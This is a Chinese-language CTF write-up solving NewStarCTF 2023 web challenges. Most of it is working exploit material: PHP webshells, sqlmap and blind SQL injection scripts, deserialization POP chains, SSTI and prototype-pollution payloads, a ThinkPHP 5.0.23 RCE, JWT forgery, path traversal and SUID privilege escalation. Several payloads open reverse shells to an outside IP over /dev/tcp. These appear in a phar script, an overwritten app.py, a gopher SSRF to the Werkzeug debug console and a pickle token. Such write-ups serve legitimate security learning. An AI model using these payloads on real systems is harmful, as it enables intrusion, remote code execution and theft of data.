NewStarCTF 2023 公开赛道 Web
WEEK1|WEB
泄漏的秘密
泄露的秘密,直接看常见的目录robots.txt,www.zip直接那道两段flag
也可以用dirsearch工具扫描,但是BUUOJ平台的网站只能开底线程,不然全是429
PART ONE: flag{r0bots_1s_s0_us3ful
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
Begin of Upload
上传一个a.png的文件,这个网站只有前端进行了验证,后端没有验证,直接改文件名绕过就行了
马的内容:
<?php eval($_GET['1']); ?>
http://fbefab32-f23f-4f53-821c-128740badc63.node4.buuoj.cn:81/upload/a.php?1=system(%27cat%20/fllll4g%27);
flag{633c24ea-5073-4a09-a505-286895382fa5}
Begin of HTTP
考的http协议相关请求头的知识
GET /?ctf=1
POST secret=n3wst4rCTF2023g00000d
User-Agent: NewStarCTF2023
Cookie: power=ctfer
X-Real-IP: 127.0.0.1
flag{a3ca8c6d-1854-45fb-9ea5-1da1e1fecdc2}
ErrorFlask
python的网站开启了debug模式,我们给number1,number2传入字符即可产生报错,直接找debug信息里面找flag
Begin of PHP
这个直接用数组全部绕过了
http://899e8510-bdc3-4be6-abac-16684c097bbc.node4.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=1&key5[]=132123
key3[]=1&flag5=+
这里有一个extract($_POST);函数,这个函数是进行变量覆盖的作用
extract函数:
https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/
flag{dcb78c60-38b4-4328-b191-f95faadac253}
WEEK2|WEB
R!C!E!
第一直接脚本爆破
找到数字为114514
import hashlib
target_string = 'c4d038'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
# 截取前面6位字符
last_5 = md5_hash[:6] # md_hash[-6:]是后6位
return last_5
# 114514
for j in range(1,9999999999):
i = str(j)
print(md5_last5(i))
if(md5_last5(i)==target_string):
print(i)
break
直接亦或无参数绕过
password=114514&e[v.a.l=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
PHP变量流量层面WAF绕过
PHP 7.3.4 在FPM模式下运行:
变量名和值会进行url解码:
以解析$_GET变量为例,大致流程为:获取请求字符串-->获取分割符&-->使用=分割key和value。
在解析key和value时,会分别对其进行url解码,关键代码如下:
if (val) { /* have a value */
size_t val_len;
size_t new_val_len;
*val++ = '\0';
// 对key进行url解码
php_url_decode(var, strlen(var));
// 对value进行url解码
val_len = php_url_decode(val, strlen(val));
val = estrndup(val, val_len);
if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len)) {
php_register_variable_safe(var, val, new_val_len, &array);
}
efree(val);
}
变量名截断:
我们知道00在C语言中意味着字符串的结尾,其编码为%00。
在对key进行url解码之后,%00转换为00而截断了key字符串。
但是对value进行url解码的时候,获取了其返回值val_len,即字符串长度,后续注册变量时,也是使用val_len进行内存中的操作,所以未能截断value的值
变量名之前的空格会被忽略
URL 不能包含空格。URL 编码通常使用 + 来替换空格
使用%20替换空格
在注册变量时,PHP会对变量名进行判断,丢弃变量名前的空格,关键代码如下:
while (*var_name==' ') {
var_name++;
}
变量名的空格和.
会转化为_
:
首先明确一个问题,PHP的变量名中是不能包含点号的。 但是为了处理表单中的点号命名,PHP就会自动把点号.转换成下划线_。
这个转换的过程也是发生在PHP变量的注册过程中,关键代码如下:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}
变量名的[
会转换为_
:
这个转换过程与.的转换过程不同。PHP在遇到[符号时,会认为变量为数组。后续进行数组处理时,如果未能找到与[匹配的],则会将[替换为.。关键代码如下:
ip = strchr(ip, ']');
if (!ip) {
/* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
*(index_s - 1) = '_';
index_len = 0;
if (index) {
index_len = strlen(index);
}
goto plain_var;
return;
}
Z1d10t师傅浇我的:
https://www.z1d10t.fun/post/8bc42760.html?highlight=%E4%B8%8B%E5%88%92%E7%BA%BF
只有第一个字符为[时 后面的非法字符才不会被转为下划线
在这里还剽窃到一个新姿势:
读文件可以用more来绕过
还有一种通配符是[]
可以匹配指定范围中的任意字符 那么 f和g就可以用[e-h]
来绕过
a是字母表第一个,该怎么绕过呢,我们可以构造[非数字]
形式:[^0-9]
这里尖括号就是排除匹配范围,这也就可以包含所有字母 来达到获取a的效果了
md5碰撞:
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B
flag{c8a0f34a-c88f-4879-ae81-64c8fcaece2a}
Unserialize?
这个简单的php,绕过正则就行,找不到wp了,这题绕过方法应该挺多的
EasyLogin
用弱口令直接爆密码为000000,然后抓重定向302的包就可以拿到flag了
flag{961a0630-c1b9-41b8-b330-248674981617}
游戏高手
游戏高手这题简单,直接查找源码,然后修改分数就行
ez_sql
这题一分钟sql注入直接跑
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 --dbs
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T --clomns
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -tables
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --clomns
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --columns
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag -C "flag" --dump
Upload again!
这个是appache服务器,这题上传.htaccess配置文件就可以了,把站下面所有的文件解析为php
然后上传一个图片就ok了
GIF89a
<script language='php'>eval($_REQUEST[1]);</script>
WEEK3|WEB
Include 🍐
考点pearcmd
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/test.php
用BP打包,用BP发包,用BP发包!!
Hackbar和url都会自动的进行一次url编码
?file=/tmp/test
直接拿shell了
R!!!C!!!E!!!
此题利用\来转义绕过,然后通过管道符把读取的内容写在根目录下,然后我们直接访问写到根目录下的文件就行
<?php
highlight_file(__FILE__);
class Begin{
public $name;
public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;
public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;
public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;
public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;
public function __unset($var)
{
($this->func)($this->var);
}
}
$a = new minipop;
$a->qwejaskdjnlka = new minipop;
$a->qwejaskdjnlka->code = "cat /flag_is_h3eeere|te\\e /var/www/html/2";
echo serialize($a);
POP Gadget
pop链子:
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct(){
$this->func = new Super();
}
}
class Handle{
protected $obj;
public function __construct(){
$this->obj = new CTF();
}
}
class Super{
protected $obj;
public function __construct(){
$this->obj = new Handle();
}
}
class CTF{
public $handle;
public function __construct(){
$this->handle = new WhiteGod();
}
}
class WhiteGod{
public $func = 'system';
public $var = 'cat /flag';
}
$a = new Begin();
$a->name = new Then();
echo urlencode(serialize($a));
medium_sql
写的二分盲注脚本:
import requests
import time
url = 'http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/'
result=''
for i in range(1,50):
low=31
high=127
mid = (low+high)//2
while low<=high:
paylaod = "TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23".format(i,mid)
#爆库爆数据语句差不多 关键字被ban大写绕过就行
r = requests.get(url+"?id="+paylaod)
if ("English" in r.text):
low = mid+1
mid = (low+high)//2
else:
high = mid-1
mid = (low+high)//2
result+=chr(high+1)
time.sleep(0.3)
print(result)
GenShin
不太会ssti,喜欢当脚本小子
docker run --net host -it marven11/fenjing webui
payload:
{'name': '{%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}'},表单为{'action': '/secr3tofpop', 'method': 'GET', 'inputs': {'name'}}
OtenkiGirl
这题看到有一个原型链污染的路由/submit
看到这里有个提示
Remove test data from before the movie was released
删除测试之前的数据
所以我们的flag可能就在我们之前的时间里面,所以我们构造payload污染时间即可
这题关键信息在这,我们可以看到,查询语句这里最后where主要的判断是 timestamp>=所以,我们只需要改变timestamp的值即可,看上下文,如果我们想要改变这个值的话,我们需要污染min_public_time时间尽量小
async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
然后我们直接上payload打就行
{
"date":"1",
"place":"1",
"contact":"1",
"reason":"1",
"timestamp":1698317269591,
"__proto__":{
"min_public_time":"2019-07-09"}
}
这题主要需要仔细,需要你明白整个程序的逻辑,明白出题人想让你污染什么,
Week4|WEB
逃
考点:
php反序列化字符串逃逸
经典反序列化逃逸
/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}
直接打就行
More Fast
考点:
1.GC回收机制
考了一个GUCI回收机制,直接秒了
<?php
highlight_file(__FILE__);
class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}
class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo(); //
}
}
class Reverse{
public $func;
public function __get($var) {
($this->func)(); //
}
}
class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var); //
}else{
echo "Not Flag";
}
}
}
class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good; //
return "NewStar";
}
}
class Misc{
public function evil() {
echo "good job but nothing";
}
}
//$c = @unserialize($_POST['fast']);
//throw new Exception("Nope");
$a = new Start;
$a->errMsg = new Crypto;
$a->errMsg->obj = new Reverse;
$a->errMsg->obj->func = new Pwn;
$a->errMsg->obj->func->obj = new Web;
$a->errMsg->obj->func->obj->func = system;
$a->errMsg->obj->func->obj->var = "cat /f*";
$b = array($a,NULL);
echo serialize($b);
PharOne
这题是phar反序列化
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents()
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms()
filesize() is_dir() scandir() rmdir() highlight_file()
//外加一个类
new DirectoryIteartor()
这些函数都能触发phar反序列化
源码分析发现有个unlink函数
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
写脚本生成phar包
<?php
class Flag{
public $cmd;
}
$a =new Flag();
$a->cmd = "bash -c 'sh -i &>/dev/tcp/36.139.110.159/7777 0>&1'";
$phar = new Phar('1.phar'); # 生成的phar
$phar->stopBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); #
$phar-> setMetadata($a); # 写入反序列化的内容
$phar -> addFromString('1.txt','1'); # 添加压缩的内容
$phar->stopBuffering(); # 计算标签
?>
然后发现过滤了__HALT_COMPILER
用gzip命令绕过过滤就行
gzip 1.phar
然后还对文件头进行了限定文件后缀,改文件后缀即可
file=phar://upload/26a529ffa3ed210b7fa7c584a7ee4c33.png/1.phar
反弹shell成功,结束
flask disk
考点:
1.文件上传导致覆盖getshell
直接上传一个app.py文件,直接弹shell
因为上传app.py会覆盖之前的文件,所以我们就可以getshell了
后面预期解法看到了file.save会覆盖已存在的文件
import os
os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'
@app.route('/list',methods=['GET'])
def list():
dirs = os.listdir('.')
items = ''
for dir in dirs:
if os.path.isfile(dir):
create_time = int(os.path.getctime(dir))
create_time = datetime.datetime.fromtimestamp(create_time)
item =f'</pre>{dir} {str(os.path.getsize(dir))}b {create_time}</pre><br><br>'
items += item
items += '\n'
return items
@app.route('/upload',methods=['GET','POST'])
def upload():
if request.method == 'GET':
s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'
return s
elif request.method == 'POST':
file = request.files['file']
if '..' in file.filename or '/' in file.filename:
return '.. and / are not allowed!'
file.save(file.filename)
return 'upload success. <a href="/list">check</a>'
@app.route('/download',methods=['GET','POST'])
def download():
filename = request.args.get('filename')
if filename and os.path.exists(filename):
if '..' in filename or '/' in filename:
return '.. and / are not allowed!'
return send_file(filename,as_attachment=True)
else:
return 'no file to download or file not exist'
if __name__=='__main__':
app.run(host='0.0.0.0',debug=True,port=5000)
下载出来的源码
midsql
这题延时严重
import requests
# from tqdm import trange
res = ''
last = ' '
headers = {
'Host': '1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
for j in range(127, 31, -1):
url = r'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81/?id='
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
url = url + payload
# print(url)
try:
response = requests.get(url=url, timeout=4)
except Exception as e:
last = res
# print(chr(j+1))
res += chr(j+1)
# print(res)
break
print('[*] ' + res)
Week5|WEB
Unserialize Again
非预期解法:
这题应该是被非预期了,直接根目录下写🐎就行了
/pairing.php?pear=/var/www/html/a.php&apple=
<?php eval($_POST[1]); ?>
猜测预期解是打phar吧
预期解法:
pppython?
考点:
1.计算pin🐎
2.ssrf
3.利用pin🐎算cookie
第一步发现有个ssrf接口,先绕过前面几步
这题用到一个技巧是手算cookie
计算pin🐎还是哪些老步骤了
我这里用的是工具来计算的cookie
得用gopher协议来打,实现rce,脚本:
import urllib.parse
import urllib.request
cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""
new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))
最终的payload:
/?url=gopher%3A//127.0.0.1%3A1314/_GET%2520/console%253F%2526__debugger__%253Dyes%2526cmd%253D__import__%2528%252522os%252522%2529.popen%2528%252522bash%252520-c%252520%25255C%252522bash%252520-i%252520%25253E%252526%252520%25252Fdev%25252Ftcp%25252F36.139.110.159%25252F7777%252520%25253C%2525261%25255C%252522%252522%2529%2526frm%253D0%2526s%253DZinxRVqfynmCiJZQaF9j%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A1314%250D%250AConnection%253A%2520close%250D%250ACookie%253A%2520__wzd734478c6106a1a37ad92%253D1698655413%257Caa64bc59c8d3%250D%250A&lolita[]=1
Ye’s Pickle
这题看了看源码,随机数比较大不能爆破,开了debug报错源码中看到了secret不知道有什么用
参考链接:
https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py
https://blog.csdn.net/your_friends/article/details/127832505 (webfun CVE-2022-39227)
考点:
1.pickle反序列化
2.CVE-2022-39227
from datetime import timedelta
from json import loads, dumps
# from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['role'] = "admin"
print(parsed_payload)
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
print (header+ '.' +fake_payload+ '.' +signature)
# print (header+ '.' + payload+ '.' +signature)
a = header+ '.' +fake_payload+ '.' +signature
# print(q)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
originaltoken = '''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NjQ0NzYsImlhdCI6MTY5ODc2MDg3NiwianRpIjoiWUN1WXdmLWFFSFVhNmNRWnlkclRFdyIsIm5iZiI6MTY5ODc2MDg3Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.aYoTc0VuYSWMrV3qYyVY0rIODjBUTGwcNxun4s6Hx5lbhl0IqrT7LJm9ORJe6bDLO9rdtu2W6yBMVTay9LOM6BojGekMAL4CNZrGYKpg0twIYz9ptCp83y-1lfh6Dwoa_JY27jEQUlSNWBsJqJ-0USKhJ4OCReR1OtPwxFPAZRAuzBFzRh93pr9ePt663upc38rorgx6njKcEwzQmBoHICEak3wOJNSBykEsKAQ6-cf44y_9GsKPTBe4PzQR2ba6Q6HiKjRwHMP3q-mrxBIttQqPqhtiKOxzZgzt3BBFCDrrS5neRseQC_b5Og6s2e2hWNnCI0C-BvE0j5Djjd1Cnw'''
topic = topic(originaltoken)
print(topic)
伪造jwt成功,用这个session直接打pickle反序列化,后面的反序列化就简单了
/?token=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICdzaCAtaSAmPi9kZXYvdGNwLzM2LjEzOS4xMTAuMTU5Lzc3NzcgMD4mMScnCm8u
直接服务器上拿flag就结束了
Final
Thinkphp 5.0.23框架的一个远程rce漏洞
/index.php?s=captcha&test=-1
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
出现配置文件,存在远程rce漏洞,disable_function只禁用了system函数
1/index.php?s=captcha
_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKTsgPz5iYg== | base64 -d > index.php
改一改payload写一句话木马上传,发现没有权限可以读flag。
我们就在上传一个反弹shell的文件上去,访问它就可以反弹shell了
bash -c 'sh -i &>/dev/tcp/36.xxx.xxx.159/7777 0>&1'
反弹shell成功,然后发现没有权限读文件
find / -user root -perm -4000 -print 2>/dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
## 来到根目录下
cp ./flag_dd3f6380aa0d /etc/passwd
cat /etc/passwd
flag{abc80326-d717-4013-b22c-1d705360a6b3}
NextDrive
逻辑漏洞
看hint了解秒传的原理:
发现test.res.http文件里面有返回包,没有响应包(而且有个标签好像是Yours,太懒了不重新打开看了),于是我们想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可,发现里面有token和uid进行身份伪造
看share.js文件
const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;
/**
* @deprecated
* ! FIXME: 发现漏洞,请进行修改
*/
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn
// 参数校验
if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
// invalid params or query
ctx.set("X-Error-Reason", "Invalid Params");
ctx.status = 400; // Bad Request
return ctx.res.end();
}
// 是否为共享的文件
let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
if (!IS_FILE_EXIST) {
ctx.set("X-Error-Reason", "File Not Found");
ctx.status = 404; // Not Found
return ctx.res.end();
}
// 系统中是否存储有该文件
let IS_FILE_EXIST_IN_STORAGE
try {
IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
} catch (e) {
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
if (!IS_FILE_EXIST_IN_STORAGE) {
logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
// 文件名处理
let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")
// 发送
ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
logger.error(`Error while sending file ${hash_fn.yellow}`)
logger.error(e)
ctx.status = 500; // Internal Server Error
return ctx.res.end();
})
})
module.exports = router;
看来share.js文件,只需绕过前面的几个判断就行,然后目录穿越,再控制fn=/proc/self/environ就行
最终payload:
/s/98d69972f5fa8ac77185170ec3128ea18fbd5be187e88596bbd321fbd65b79f0/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ
4-复盘
为了做这题我首先去做了
MISC:
week2-1-序章
手撸flag(ex
you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
然后我以为可能和sql注入相关,然后写了一共烂的脚本,发现注入不出来,我测试了sql语句发现不行,看了源码中的sql.ini(疑惑
这个flag应该不对,重新看index.php,发现有个文件包含函数可以用,直接打pearcmd写shell到根目录下
/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_GET[1])?>+/var/www/html/a.php
读flag发现不行,没有权限,弹shell进行suid提权
find / -user root -perm -4000 -print 2>/dev/nul
## 没找到有suid权限的命令,然后到/bin目录下一个个看,发现有gzip
-rwsr-xr-x 1 root root 59976 Jun 17 2021 passwd
-rwsr-xr-x 1 root root 55680 Oct 27 2021 su
-rwsr-xr-x 1 root root 93424 Oct 7 2021 gzip可以用,回到根目录
gzip -g flag -t
本题就结束了